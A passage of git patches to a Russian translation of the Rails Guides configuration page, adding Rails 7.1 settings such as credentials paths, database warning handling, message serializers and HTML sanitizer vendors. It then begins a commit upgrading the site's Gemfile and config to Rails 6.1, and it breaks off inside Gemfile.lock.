данными. + +По умолчанию `config/credentials/#{Rails.env}.yml.enc`, если он существует, в противном случае `config/credentials.yml.enc`. + +NOTE: Чтобы команды `bin/rails credentials` распознали это значение, оно должно быть установлено в `config/application.rb` или `config/environments/#{Rails.env}.rb`. #### `config.credentials.key_path` -Настраивает путь поиска ключа шифрования. +Путь файла ключей зашифрованных учетных данных. + +По умолчанию `config/credentials/#{Rails.env}.key` если он существует, в противном случае `config/master.key`. + +NOTE: Чтобы команды `bin/rails credentials` распознали это значение, оно должно быть установлено в `config/application.rb` или `config/environments/#{Rails.env}.rb`. #### (config-debug-exception-response-format) `config.debug_exception_response_format` @@ -288,6 +324,37 @@ end Устанавливает приложение по обработке исключений, вызываемое промежуточной программой ShowException, когда происходит исключение. По умолчанию `ActionDispatch::PublicExceptions.new(Rails.public_path)`. +Приложения по обработке исключений должно обрабатывать ошибки `ActionDispatch::Http::MimeNegotiation::InvalidType`, которые вызываются, когда клиент посылает неправильные заголовки `Accept` или `Content-Type`. Приложение по умолчанию `ActionDispatch::PublicExceptions` делает это автоматически, устанавливая `Content-Type` в `text/html` и возвращая статус `406 Not Acceptable`. Неудача в обработке этой ошибки приведет к `500 Internal Server Error`. + +С помощью `Rails.application.routes`, `RouteSet` в качестве приложения по обработке исключений также требует эту специальную обработку. Это может выглядеть так: + +```ruby +# config/application.rb +config.exceptions_app = CustomExceptionsAppWrapper.new(exceptions_app: routes) + +# lib/custom_exceptions_app_wrapper.rb +class CustomExceptionsAppWrapper + def initialize(exceptions_app:) + @exceptions_app = exceptions_app + end + + def call(env) + request = ActionDispatch::Request.new(env) + + fallback_to_html_format_if_invalid_mime_type(request) + + @exceptions_app.call(env) + end + + private + def fallback_to_html_format_if_invalid_mime_type(request) + request.formats + rescue ActionDispatch::Http::MimeNegotiation::InvalidType + request.set_header "CONTENT_TYPE", "text/html" + end +end +``` + #### `config.file_watcher` Это класс, используемый для обнаружения обновлений файлов в файловой системе, когда `config.reload_classes_only_on_change` равно `true`. Rails поставляется с `ActiveSupport::FileUpdateChecker` (по умолчанию) и `ActiveSupport::EventedFileUpdateChecker` (этот зависит от гема [listen](https://github.com/guard/listen)). Пользовательские классы должны соответствовать `ActiveSupport::FileUpdateChecker` API. @@ -501,7 +568,7 @@ config.session_store :my_custom_store #### `config.assets.precompile` -Позволяет определить дополнительные ассеты (иные, чем `application.css` и `application.js`), которые будут предварительно компилированы при запуске `rake assets:precompile`. +Позволяет определить дополнительные ассеты (иные, чем `application.css` и `application.js`), которые будут предварительно компилированы при запуске `bin/rails assets:precompile`. #### `config.assets.unknown_asset_fallback` @@ -623,7 +690,7 @@ Rails.application.config.hosts << ".product.com" ```ruby # Исключает запросы для пути /healthcheck/ из проверки хоста Rails.application.config.host_authorization = { - exclude: ->(request) { request.path =~ /healthcheck/ } + exclude: ->(request) { request.path.include?('healthcheck') } } ``` @@ -667,7 +734,7 @@ Rails.application.config.host_authorization = { #### `ActionDispatch::ShowExceptions` -Ловит исключения, возвращаемые приложением, и рендерит прекрасные страницы исключения, если запрос локальный, или если `config.consider_all_requests_local` установлена `true`. Если `config.action_dispatch.show_exceptions` установлена `false`, исключения будут вызваны несмотря ни на что. +Ловит исключения, возвращаемые приложением, и рендерит прекрасные страницы исключения, если запрос локальный, или если `config.consider_all_requests_local` установлена `true`. Если `config.action_dispatch.show_exceptions` установлена `:none`, исключения будут вызваны, несмотря ни на что. #### `ActionDispatch::RequestId` @@ -777,7 +844,7 @@ config.middleware.delete Rack::MethodOverride #### `config.i18n.raise_on_missing_translations` -Определяет, должна ли вызываться ошибка на отсутствующих переводах в контроллерах и вью. По умолчанию `false`. +Определяет, должна ли вызываться ошибка на отсутствующих переводах. По умолчанию `false`. #### `config.i18n.fallbacks` @@ -841,13 +908,13 @@ irb> person = Person.new.tap(&:valid?) irb> person.errors.full_messages => [ - "Invalid Name (can't be blank)", + "Invalid Name (can’t be blank)", "Please fill in your Age" ] irb> person.errors.messages => { - :name => ["can't be blank"], + :name => ["can’t be blank"], :age => ["Please fill in your Age"] } ``` @@ -909,6 +976,46 @@ irb> person.errors.messages Регулирует, должны ли миграции нумероваться серийными номерами или временными метками. По умолчанию `true` для использования временных меток, которые более предпочтительны, если над одним проектом работают несколько разработчиков. +#### `config.active_record.db_warnings_action` + +Регулирует действие, которое следует предпринять, когда запрос SQL производит предупреждение. Доступны следующие опции: + + * `:ignore` - Предупреждения базы данных должны игнорироваться. Это по умолчанию. + + * `:log` - Предупреждения базы данных должны логироваться с помощью `ActiveRecord.logger` на уровне `:warn`. + + * `:raise` - Предупреждения базы данных должны вызываться как `ActiveRecord::SQLWarning`. + + * `:report` - Предупреждения базы данных должны сообщаться подписчикам репортера ошибок Rails. + + * Произвольный proc - Может быть предоставлен произвольный proc. Он должен принимать объект ошибки `SQLWarning`. + + Например: + + ```ruby + config.active_record.db_warnings_action = ->(warning) do + # Сообщаем пользовательскому сервису по отчетам об исключениях + Bugsnag.notify(warning.message) do |notification| + notification.add_metadata(:warning_code, warning.code) + notification.add_metadata(:warning_level, warning.level) + end + end + ``` + +#### `config.active_record.db_warnings_ignore` + +Указывает список разрешенных кодов и сообщений, которые следует игнорировать, вне зависимости от настроенной `db_warnings_action`. Поведением по умолчанию является сообщение обо всех предупреждениях. Предупреждения для игнорирования могут быть определены как String or Regexp. Например: + + ```ruby + config.active_record.db_warnings_action = :raise + # Следующие предупреждения не будут вызваны + config.active_record.db_warnings_ignore = [ + /Invalid utf8mb4 character string/, + "An exact warning message", + "1062", # MySQL Error 1062: Duplicate entry + ] + ``` + #### `config.active_record.migration_strategy` Контролирует класс стратегии, используемый для выполнения методов выражений схемы в миграции. Класс по умолчанию делегирует к адаптеру соединения. Пользовательские стратегии должны наследоваться от `ActiveRecord::Migration::ExecutionStrategy`, или могут наследоваться от `DefaultStrategy`, которая сохранит поведение по умолчанию для нереализованных методов: @@ -991,6 +1098,17 @@ config.active_record.migration_strategy = CustomMigrationStrategy | (изначально) | `true` | | 7.1 | `false` | +#### `config.active_record.marshalling_format_version` + +Когда установлено `7.1`, включает более эффективную сериализацию экземпляров Active Record с помощью `Marshal.dump`. + +Это изменяет формат сериализации, поэтому модели, сериализованные данным образом, не смогут быть прочитаны старыми (< 7.1) версиями Rails. Однако, сообщения, использующие старый формат, все еще могут быть прочитаны, вне зависимости от того, была ли включена эта оптимизация. + +| Начиная с версии | Значение по умолчанию | +| ---------------- | --------------------- | +| (изначально) | `6.1` | +| 7.1 | `7.1` | + #### `config.active_record.action_on_strict_loading_violation` Включает вызов или логирование исключения, если на связи установлено strict_loading. Значение по умолчанию `:raise` во всех средах. Можно изменить на `:log`, чтобы посылать нарушения в логгер вместо вызова ошибки. @@ -1111,10 +1229,42 @@ config.active_record.migration_strategy = CustomMigrationStrategy | (изначально) | `true` | | 7.1 | `false` | +#### `config.active_record.default_column_serializer` + +Реализация сериализатора для использования, если ничто явно не указано для заданного столбца. + +Исторически `serialize` и `store`, хотя позволяют использование альтернативные реализации сериализатора, по умолчанию использовали `YAML`, но это не очень эффективный формат, и может быть источником уязвимостей безопасности, если применяется неосторожно. + +Поэтому рекомендуется предпочитать более строгие и ограниченные форматы для сериализации базы данных. + +К сожалению нет каких-либо реально подходящих умолчаний, доступных в стандартной библиотеке Ruby. `JSON` мог бы работать в качестве формата, но гемы `json` приводят неподдерживаемые типы к строкам, что может привести к багам. + +Значение по умолчанию зависит от целевой версии `config.load_defaults`: + +| Начиная с версии | Значение по умолчанию | +| ---------------- | --------------------- | +| (изначально) | `YAML` | +| 7.1 | `nil` | + +#### `config.active_record.run_after_transaction_callbacks_in_order_defined` + +Если true, колбэки `after_commit` выполняются в порядке, в котором они определены в модели. Если false, они выполняются в обратном порядке. + +Все другие колбэки всегда выполняются в порядке, в котором они определены в модели (кроме использующих `prepend: true`). + +Значение по умолчанию зависит от целевой версии `config.load_defaults`: + +| Начиная с версии | Значение по умолчанию | +| ---------------- | --------------------- | +| (изначально) | `false` | +| 7.1 | `true` | + #### `config.active_record.query_log_tags_enabled` Указывает, включать ли комментарии на уровне адаптера. По умолчанию `false`. +NOTE: Когда установлено `true`, prepared statements базы данных будут автоматически отключены. + #### `config.active_record.query_log_tags` Определяет массив, указывающий теги ключа/значения для вставки в комментарий SQL. По умолчанию `[ :application ]`, предопределенный тег, возвращающий имя приложения. @@ -1206,7 +1356,12 @@ Comment.where(posts: post_id).count # => ошибка По умолчанию `false`. Позволяет приложениям отключить использование `unsafe_load` на `ActiveRecord::Coders::YamlColumn`. -#### `ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans` +#### `config.active_record.raise_int_wider_than_64bit` + +По умолчанию `true`. Определяет следует ли вызывать исключение или нет, когда адаптеру PostgreSQL предоставлено число, которое шире, чем подписанное +64bit представление. + +#### `ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans` и `ActiveRecord::ConnectionAdapters::TrilogyAdapter.emulate_booleans` Регулирует, должен ли Active Record рассматривать все столбцы `tinyint(1)` как boolean. По умолчанию `true`. @@ -1248,6 +1403,28 @@ end Позволяет настроить другое регулярное выражение, которое будет использоваться для определения того, следует ли выгружать имя внешнего ключа из db/schema.rb или нет. По умолчанию имена внешних ключей, начинающиеся с `fk_rails_`, не экспортируются в выгрузку схемы базы данных. По умолчанию используется `/^fk_rails_[0-9a-f]{10}$/`. +#### `config.active_record.encryption.hash_digest_class` + +Устанавливает алгоритм дайджеста, используемый Active Record Encryption. + +Значение по умолчанию зависит от целевой версии `config.load_defaults`: + +| Начиная с версии | Значение по умолчанию | +| ---------------- | ------------------------- | +| (изначально) | `OpenSSL::Digest::SHA1` | +| 7.1 | `OpenSSL::Digest::SHA256` | + +#### `config.active_record.encryption.support_sha1_for_non_deterministic_encryption` + +Включает поддержку расшифровки существующих данных, зашифрованных с помощью класса дайджеста SHA-1. При `false` поддерживается только дайджест, настроенный в `config.active_record.encryption.hash_digest_class`. + +Значение по умолчанию зависит от целевой версии `config.load_defaults`: + +| Начиная с версии | Значение по умолчанию | +| ---------------- | --------------------- | +| (изначально) | `true` | +| 7.1 | `false` | + ### Конфигурирование Action Controller `config.action_controller` включает несколько конфигурационных настроек: @@ -1403,14 +1580,25 @@ Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss] #### `config.action_dispatch.cookies_serializer` -Указывает, какой сериализатор использовать для куки. Подробности смотрите в [куки Action Controller](/action-controller-overview#cookies). +Указывает, какой сериализатор использовать для куки. Принимает те же значения, что и [`config.active_support.message_serializer`](#config-active-support-message-serializer), плюс `:hybrid`, который псевдоним для `:json_allow_marshal`. Значение по умолчанию зависит от целевой версии `config.load_defaults`: | Начиная с версии | Значение по умолчанию | | ---------------- | --------------------- | -| (изначально) | `false` | -| 7.0 | `true` | +| (original) | `:marshal` | +| 7.0 | `:json` | + +#### `config.action_dispatch.debug_exception_log_level` + +Конфигурирует уровень лога, используемый промежуточной программы DebugExceptions, при логировании не отловленных исключений в течение запросов. + +Значение по умолчанию зависит от целевой версии `config.load_defaults`: + +| Начиная с версии | Значение по умолчанию | +| ---------------- | --------------------- | +| (original) | `:fatal` | +| 7.1 | `:error` | #### `config.action_dispatch.default_headers` @@ -1541,17 +1729,6 @@ config.action_dispatch.rescue_responses = { Любое ненастроенное исключение приведет к 500 Internal Server Error. -#### `config.action_dispatch.return_only_request_media_type_on_content_type` - -Изменяет возвращаемое значение `ActionDispatch::Request#content_type` на заголовок Content-Type без модификаций. - -Значение по умолчанию зависит от целевой версии `config.load_defaults`: - -| Начиная с версии | Значение по умолчанию | -| ---------------- | --------------------- | -| (изначально) | `true` | -| 7.0 | `false` | - #### `config.action_dispatch.cookies_same_site_protection` Настраивает значение по умолчанию атрибута `SameSite` при установке куки. Когда установлено `nil`, атрибут `SameSite` не будет добавляться. Чтобы разрешить значению атрибута `SameSite` быть динамически настраиваемым на основе запроса, может быть указан proc. Например: @@ -1728,6 +1905,17 @@ Proc.new { |html_tag, instance| content_tag :div, html_tag, class: "field_with_e Определяет, должны ли хелперы `form_tag` и `button_to` производить теги HTML с предшествующим безопасным для браузера (но технически невалидным) HTML, гарантирующим, что их содержимое не сможет быть захвачен любыми предшествующими незакрытыми тегами. Значение по умолчанию `false`. +#### `config.action_view.sanitizer_vendor` + +Конфигурирует набор санитайзеров HTML, используемых Action View, устанавливая `ActionView::Helpers::SanitizeHelper.sanitizer_vendor`. Значение по умолчанию зависит от целевой версии `config.load_defaults`: + +| Начиная с версии | Значение по умолчанию | Которое парсит разметку как | +|------------------|-------------------------------------------|-----------------------------| +| (изначально) | `Rails::HTML4::Sanitizer` | HTML4 | +| 7.1 | `Rails::HTML5::Sanitizer` (смотрите NOTE) | HTML5 | + +NOTE: `Rails::HTML5::Sanitizer` не поддерживается на JRuby, поэтому на платформах JRuby, Rails будет использовать `Rails::HTML4::Sanitizer`. + ### Конфигурирование Action Mailbox `config.action_mailbox` предоставляет следующие конфигурационные опции: @@ -1891,13 +2079,17 @@ config.action_mailer.preview_paths << "#{Rails.root}/lib/mailer_previews" config.action_mailer.show_previews = false ``` +#### `config.action_mailer.perform_caching` + +Указывает, должно ли выполняться кэширование фрагментов для шаблонов рассыльщиков. Если не указано, значение по умолчанию всегда будет `true`. + #### `config.action_mailer.deliver_later_queue_name` -Указывает очередь Active Job для заданий доставки. Когда эта опция установлена `nil`, задания доставки направляются в очередь Active Job по умолчанию (смотрите `config.active_job.default_queue_name`). Убедитесь, что ваш адаптер Active Job также настроен на обработку указанной очереди, иначе задания доставки могут быть молчаливо проигнорированы. +Указывает очередь Active Job для заданий доставки по умолчанию (смотрите `config.action_mailer.delivery_job`). Когда эта опция установлена `nil`, задания доставки направляются в очередь Active Job по умолчанию (смотрите `config.active_job.default_queue_name`). -#### `config.action_mailer.perform_caching` +Классы рассыльщика могут переопределять ее, чтобы использовать другую очередь. Отметьте, что это только применимо при использовании задания доставки по умолчанию. Если рассыльщик использует произвольное задание, будет использована его очередь. -Указывает, должно ли выполняться кэширование фрагментов для шаблонов рассыльщиков. Если не указано, значение по умолчанию всегда будет `true`. +Обеспечьте, чтобы ваш адаптер Active Job также был настроен на обработку указанной очереди, иначе задания доставки могут быть молчаливо проигнорированы. #### `config.action_mailer.delivery_job` @@ -1968,9 +2160,59 @@ config.action_mailer.show_previews = false | (изначально) | `false` | | 5.2 | `true` | +#### `config.active_support.message_serializer` + +Указывает сериализатор по умолчанию, используемый экземплярами [`ActiveSupport::MessageEncryptor`][] и [`ActiveSupport::MessageVerifier`][]. Чтобы сделать миграцию между сериализаторами проще, предоставленные сериализаторы включает механизм фолбэка для поддержки нескольких форматов десериализации: + +| Сериализатор | Сериализует и десериализует | Фолбэк десериализации | +| ----------------------------- | ---------------------------- | --------------------------------------------------- | +| `:marshal` | `Marshal` | `ActiveSupport::JSON`, `ActiveSupport::MessagePack` | +| `:json` | `ActiveSupport::JSON` | `ActiveSupport::MessagePack` | +| `:json_allow_marshal` | `ActiveSupport::JSON` | `ActiveSupport::MessagePack`, `Marshal` | +| `:message_pack` | `ActiveSupport::MessagePack` | `ActiveSupport::JSON` | +| `:message_pack_allow_marshal` | `ActiveSupport::MessagePack` | `ActiveSupport::JSON`, `Marshal` | + +WARNING: `Marshal` это потенциальное направление атак десериализации в случаях, когда утек секрет подписания сообщения. _Если возможно, выбирайте сериализатор, не поддерживающий `Marshal`._ + +INFO: Сериализаторы `:message_pack` и `:message_pack_allow_marshal` поддерживают некоторые типы Ruby, не поддерживаемые JSON, такие как `Symbol`. Они также предоставляют улучшенное быстродействие и меньший размер полезной нагрузки. Однако они требуют [гема `msgpack`](https://rubygems.org/gems/msgpack). + +Каждый из вышеперечисленных сериализаторов сгенерируют уведомление о событии [`message_serializer_fallback.active_support`][], когда они отступают к альтернативному формату десериализации, позволяя отслеживать, как часто происходят такие фолбэки. + +Альтернативно можно указать любой сериализатор, отвечающий на методы `dump` и `load`. Например: + +```ruby +config.active_job.message_serializer = YAML +``` + +Значение по умолчанию зависит от целевой версии `config.load_defaults`: + +| Начиная с версии | Значение по умолчанию | +| ---------------- | --------------------- | +| (изначально) | `:marshal` | +| 7.1 | `:json_allow_marshal` | + +[`ActiveSupport::MessageEncryptor`]: https://api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html +[`ActiveSupport::MessageVerifier`]: https://api.rubyonrails.org/classes/ActiveSupport/MessageVerifier.html +[`message_serializer_fallback.active_support`]: active_support_instrumentation.html#message-serializer-fallback-active-support + +#### `config.active_support.use_message_serializer_for_metadata` + +Когда `true`, включает оптимизацию быстродействия, сериализующий совместно данные сообщения и метаданные. Это изменяет формат сообщения, таким образом сообщения, сериализованные таким способом, не смогут быть прочитаны старыми (< 7.1) версиями Rails. Однако, сообщения, использующие старый формат, все еще могут быть прочитаны, независимо от того, включена ли оптимизация. + +The default value depends on the `config.load_defaults` target version: + +| Начиная с версии | Значение по умолчанию | +| ---------------- | --------------------- | +| (изначально) | `false` | +| 7.1 | `true` | + #### `config.active_support.cache_format_version` -Указывает, какую версию сериализации кэша использовать. Возможные значения `6.1` и `7.0`. +Указывает, какую версию сериализации кэша использовать. Возможные значения `6.1`, `7.0` и `7.1`. + +Все форматы `6.1`, `7.0` и `7.1` используют `Marshal` для кодера по умолчанию, но `7.0` использует более эффективное представление для элементов кэша, а `7.1` включает дополнительную оптимизацию для чисто строковых значений, таких как фрагменты вью. + +Все форматы полностью совместимы, что означает, что элементы кэша, написанные в одном формате, могут быть прочитаны с помощью другого формата. Это поведение упрощает миграцию между форматами без инвалидации всего кэша. Значение по умолчанию зависит от целевой версии `config.load_defaults`: @@ -1978,6 +2220,7 @@ config.action_mailer.show_previews = false | ---------------- | --------------------- | | (изначально) | `6.1` | | 7.0 | `7.0` | +| 7.1 | `7.1` | #### `config.active_support.deprecation` @@ -1997,50 +2240,14 @@ config.action_mailer.show_previews = false #### `config.active_support.report_deprecations` -Позволяет отключить все предупреждения об устаревании, включая неразрешенные устаревания, что отключит `ActiveSupport::Deprecation.warn`. +Позволяет отключить все предупреждения об устаревании, включая неразрешенные устаревания, из [устареваний приложения](https://api.rubyonrails.org/classes/Rails/Application.html#method-i-deprecators). Это включает все устаревания из Rails и других гемов, которые могут добавлять свои устаревания в коллекцию устареваний, но не могут предупредить все предупреждения об устаревании, эмитируемые из ActiveSupport::Deprecation В файлах `config/environments`, сгенерированных по умолчанию, она установлена `false` для production. -#### `config.active_support.remove_deprecated_time_with_zone_name` - -Определяет, нужно ли убирать устаревшее переопределение метода [`ActiveSupport::TimeWithZone.name`](https://api.rubyonrails.org/classes/ActiveSupport/TimeWithZone.html#method-c-name), чтобы избежать предупреждения об его устаревании. - -Значение по умолчанию зависит от целевой версии `config.load_defaults`: - -| Начиная с версии | Значение по умолчанию | -| ---------------- | --------------------- | -| (изначально) | `nil` | -| 7.0 | `true` | - #### `config.active_support.isolation_level` Конфигурирует расположение большей части внутреннего состояния Rails. Если используете сервер или обработчик заданий, основанные на файберах (например, `falcon`), следует установить `:fiber`. В противном случае, лучше использовать расположение `:thread`. По умолчанию `:thread`. -#### `config.active_support.use_rfc4122_namespaced_uuids` - -Определяет, будут ли сгенерированные UUID пространств имен следовать стандарту RFC 4122 для идентификаторов пространства имен, переданных как строка в вызовы методов `Digest::UUID.uuid_v3` или `Digest::UUID.uuid_v5`. - -Если установлено `true`: - -* В качестве идентификаторов пространства имен допускаются только UUID. Если предоставленный идентификатор пространства имен недопустим, будет вызвана `ArgumentError`. -* Никакое предупреждение об устаревании не будет сгенерировано, не важно, если используемый идентификатор пространства имен это константа, определенная в `Digest::UUID` или `String`. -* Идентификаторы пространств имен не чувствительны к регистру. -* Все сгенерированные UUID в пространстве имен должны соответствовать стандарту. - -Если установлено `false`: - -* Любое строковое значение может быть использовано в качестве идентификатора пространства имен (хотя не рекомендуется). В этом случае никакая `ArgumentError` не будет вызвана, чтобы сохранить обратную совместимость. -* Будет сгенерировано предупреждение об устаревании, если предоставленный идентификатор пространства имен не является одной из констант, определенной в `Digest::UUID`. -* Идентификаторы пространств имен чувствительны к регистру. -* Только те сгенерированные UUID в пространстве имен, которые используют одну из констант, определенных в `Digest::UUID`, должны соответствовать стандарту. - -Значение по умолчанию зависит от целевой версии `config.load_defaults`: - -| Начиная с версии | Значение по умолчанию | -| ---------------- | --------------------- | -| (изначально) | `false` | -| 7.0 | `true` | - #### `config.active_support.executor_around_test_case` Конфигурирует тестовый набор, чтобы тестовые случаи оборачивались в `Rails.application.executor.wrap`. Это позволяет тестовым случаям вести себя приближенно к фактическому запросу или заданию. Некоторые особенности, которые обычно отключены в тесте, такие как кэш запросов Active Record и асинхронные запросы, будут тогда включены. @@ -2052,17 +2259,6 @@ config.action_mailer.show_previews = false | (изначально) | `false` | | 7.0 | `true` | -#### `config.active_support.disable_to_s_conversion` - -Отключает переопределение методов `#to_s` некоторых ключевых классов Ruby. Эта конфигурация для приложений, которые хотят как можно быстрее воспользоваться преимуществом [оптимизации Ruby 3.1](https://github.com/ruby/ruby/commit/b08dacfea39ad8da3f1fd7fdd0e4538cc892ec44). Эта конфигурация должна быть установлена в `config/application.rb` внутри класса приложения, в противном случае она не сработает. - -Значение по умолчанию зависит от целевой версии `config.load_defaults`: - -| Начиная с версии | Значение по умолчанию | -| ---------------- | --------------------- | -| (изначально) | `false` | -| 7.0 | `true` | - #### `ActiveSupport::Logger.silencer` Устанавливают `false`, чтобы отключить возможность silence logging в блоке. По умолчанию `true`. @@ -2093,48 +2289,6 @@ config.action_mailer.show_previews = false | (изначально) | `false` | | 6.1 | `true` | -#### `config.active_support.default_message_encryptor_serializer` - -Указывает, какой сериализатор будет использовать класс `MessageEncryptor` по умолчанию. - -Опции это `:json`, `:hybrid` и `:marshal`. `:hybrid` использует класс `JsonWithMarshalFallback`. - -Значение по умолчанию зависит от целевой версии `config.load_defaults`: - -| Начиная с версии | Значение по умолчанию | -| ---------------- | --------------------- | -| (изначально) | `:marshal` | -| 7.1 | `:json` | - -#### `config.active_support.fallback_to_marshal_deserialization` - -Указывает, будет ли класс `ActiveSupport::JsonWithMarshalFallback` переключаться на `Marshal`, когда он сталкивается с `::JSON::ParserError`. - -По умолчанию `true`. - -#### `config.active_support.use_marshal_serialization` - -Указывает, будет ли класс `ActiveSupport::JsonWithMarshalFallback` использовать `Marshal` для сериализации нагрузок. - -Если установить `false`, он будет использовать `JSON` для сериализации нагрузок. - -Используется для помощи в миграции приложений с `Marshal` на `JSON` в качестве сериализатора по умолчанию для класса `MessageEncryptor`. - -По умолчанию `true`. - -#### `config.active_support.default_message_verifier_serializer` - -Указывает, какой сериализатор класс `MessageVerifier` будет использовать по умолчанию. - -Опции это `:json`, `:hybrid` и `:marshal`. `:hybrid` использует класс `JsonWithMarshalFallback`. - -Значение по умолчанию зависит от целевой версии `config.load_defaults`: - -| Начиная с версии | Значение по умолчанию | -| ---------------- | --------------------- | -| (изначально) | `:marshal` | -| 7.1 | `:json` | - #### `config.active_support.raise_on_invalid_cache_expiration_time` Определяет, должен ли быть вызван `ArgumentError`, если у `Rails.cache` в `fetch` или `write` дается невалидное время `expires_at` или `expires_in`. @@ -2219,6 +2373,10 @@ end Управляет, логировать ли аргументы задания. По умолчанию `true`. +#### `config.active_job.verbose_enqueue_logs` + +Указывает, должны ли расположения исходника методов, запускающие фоновые задания, логироваться ниже строчек лога соответственного запуска. По умолчанию флажок `true` в development и `false` во всех других средах. + #### `config.active_job.retry_jitter` Управляет количеством "jitter" (случайного распределения), применяемого к задержке, вычисляемой при повторе упавших заданий. @@ -2342,14 +2500,6 @@ config.active_storage.content_types_to_serve_as_binary = %w(text/html image/svg+ config.active_storage.content_types_allowed_inline = %w(image/png image/gif image/jpeg image/tiff image/vnd.adobe.photoshop image/vnd.microsoft.icon application/pdf) ``` -#### `config.active_storage.silence_invalid_content_types_warning` - -Начиная с Rails 7, Active Storage предупредит, если вы используете неправильный тип содержимого, который некорректно поддерживался в Rails 6. Можно использовать эту настройку, чтобы отключить предупреждение. - -```ruby -config.active_storage.silence_invalid_content_types_warning = false -``` - #### `config.active_storage.queues.analysis` Принимает символ, указывающий очередь Active Job для использования заданиями анализа. Когда эта опция `nil`, задания анализа направляются в очередь Active Job по умолчанию (смотрите `config.active_job.default_queue_name`). @@ -2409,17 +2559,6 @@ config.active_storage.routes_prefix = '/files' По умолчанию `/rails/active_storage`. -#### `config.active_storage.replace_on_assign_to_many` - -Определяет, должно ли присвоение к коллекции с вложениями, объявленной с помощью `has_many_attached`, заменять любые существующие вложения, или добавлять к ним. - -Значение по умолчанию зависит от целевой версии `config.load_defaults`: - -| Начиная с версии | Значение по умолчанию | -| ---------------- | --------------------- | -| (изначально) | `false` | -| 6.0 | `true` | - #### `config.active_storage.track_variants` Определяет, должны ли варианты записываться в базу данных. @@ -2478,6 +2617,17 @@ config.active_storage.routes_prefix = '/files' Принимает строку для тега HTML, используемого для оборачивания вложений. По умолчанию `"action-text-attachment"`. +#### `config.action_text.sanitizer_vendor` + +Конфигурирует санитайзер HTML, используемого Action Text, устанавливая `ActionText::ContentHelper.sanitizer` экземпляр класса, возвращающийся из внешнего метода `.safe_list_sanitizer`. Значение по умолчанию зависит от целевой версии `config.load_defaults`: + +| Начиная с версии | Значение по умолчанию | Которое парсит разметку как | +|------------------|-------------------------------------------|-----------------------------| +| (изначально) | `Rails::HTML4::Sanitizer` | HTML4 | +| 7.1 | `Rails::HTML5::Sanitizer` (смотрите NOTE) | HTML5 | + +NOTE: `Rails::HTML5::Sanitizer` не поддерживается на JRuby, поэтому на платформах JRuby, Rails будет использовать `Rails::HTML4::Sanitizer`. + ### Конфигурирование базы данных Почти каждое приложение на Rails взаимодействует с базой данных. Можно подключаться к базе данных с помощью установки переменной окружения `ENV['DATABASE_URL']` или с помощью использования файла `config/database.yml`. @@ -2769,11 +2919,40 @@ development: retry_deadline: 5 # Остановить повтор запросов через 5 секунд ``` +#### Конфигурация кэша запросов + +По умолчанию Rails автоматически кэширует результирующие множества, возвращаемые запросами. Если Rails снова встречается с тем же SQL запросом для того же http запроса или задания, он использует кэшированный результат вместо запуска запроса к базе данных снова. + +Кэш запросов хранится в памяти и, чтобы избежать использования слишком много памяти, он автоматически удаляет самые давно использованные запросы при достижении порога. По умолчанию порог `100`, но может быть настроен в `database.yml`. + +```yaml +development: + adapter: mysql2 + query_cache: 200 +``` + +Чтобы полностью отключить кэширование запросов, можно установить `false` + +```yaml +development: + adapter: mysql2 + query_cache: false +``` + ### (creating-rails-environments) Создание сред Rails По умолчанию Rails поставляется с тремя средами: "development", "test" и "production". Хотя в большинстве случаев их достаточно, бывают условия, когда нужно больше сред. -Представим, что у вас есть сервер, отражающий среду production, но используемый только для тестирования. Такой сервер обычно называется "staging server". Для определения среды с именем "staging" для этого сервера, просто создайте файл с именем `config/environments/staging.rb`. В качестве исходного содержимого используйте любой файл, существующий в `config/environments`, а затем сделайте в нем необходимые изменения. +Представим, что у вас есть сервер, отражающий среду production, но используемый только для тестирования. Такой сервер обычно называется "staging server". Для определения среды с именем "staging" для этого сервера, просто создайте файл с именем `config/environments/staging.rb`. Так как это среда наподобие production, можно скопировать содержимое `config/environments/production.rb` в качестве начальной точки и сделать необходимые изменения там. Также возможно затребовать и расширить другие конфигурации среды, наподобие: + +```ruby +# config/environments/staging.rb +require_relative "production" + +Rails.application.configure do + # Переопределения для staging +end +``` Эта среда ничем не отличается от одной из стандартных, сервер запускается с помощью `bin/rails server -e staging`, консоль с помощью `bin/rails console -e staging`, работает `Rails.env.staging?`, и т.д. diff --git a/source/index.yml b/source/index.yml index 1f9b74b4..5ef57b18 100644 --- a/source/index.yml +++ b/source/index.yml @@ -189,8 +189,8 @@ pages: - title: Конфигурирование приложений на Rails path: configuring file: configuring.md - revision: d440ba77f8ec8b634636139613dc67a8ca8d25b5 - date: 19/12/2022 + revision: 44d3b44d9d7f42658bda1037f6c7713d02d4b1c0 + date: 04/07/2023 - title: Командная строка Rails path: command-line From 6e1b42ed21ccd389e4a8ac850bedd085518fbb59 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Wed, 12 Jul 2023 01:12:05 +0300 Subject: [PATCH 840/932] Update rails to 6.1 --- Gemfile | 2 +- Gemfile.lock | 203 +++++++++--------- bin/rails | 4 +- bin/rake | 4 +- bin/setup | 8 +- bin/yarn | 12 +- config.ru | 6 +- config/application.rb | 15 +- config/boot.rb | 4 +- config/environment.rb | 2 +- config/environments/development.rb | 20 +- config/environments/production.rb | 18 +- config/environments/test.rb | 13 +- config/initializers/backtrace_silencers.rb | 7 +- .../initializers/filter_parameter_logging.rb | 4 +- .../new_framework_defaults_6_1.rb | 67 ++++++ config/initializers/permissions_policy.rb | 11 + ..._to_active_storage_blobs.active_storage.rb | 22 ++ ..._storage_variant_records.active_storage.rb | 27 +++ db/schema.rb | 6 +- 20 files changed, 317 insertions(+), 138 deletions(-) create mode 100644 config/initializers/new_framework_defaults_6_1.rb create mode 100644 config/initializers/permissions_policy.rb create mode 100644 db/migrate/20230711215740_add_service_name_to_active_storage_blobs.active_storage.rb create mode 100644 db/migrate/20230711215741_create_active_storage_variant_records.active_storage.rb diff --git a/Gemfile b/Gemfile index 0a508a4b..8ebbd4ea 100644 --- a/Gemfile +++ b/Gemfile @@ -5,7 +5,7 @@ gem "net-http" gem "net-smtp" gem "net-imap" -gem 'rails', " ~> 6.0.5" +gem 'rails', " ~> 6.1.7" gem 'russian' gem 'static_docs' #, path: "/Users/mikdiet/projects/opensource/static_docs" gem "bootsnap", ">= 1.1.0", require: false diff --git a/Gemfile.lock b/Gemfile.lock index 8d00e731..23a7fadc 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,61 +1,65 @@ GEM remote: https://rubygems.org/ specs: - actioncable 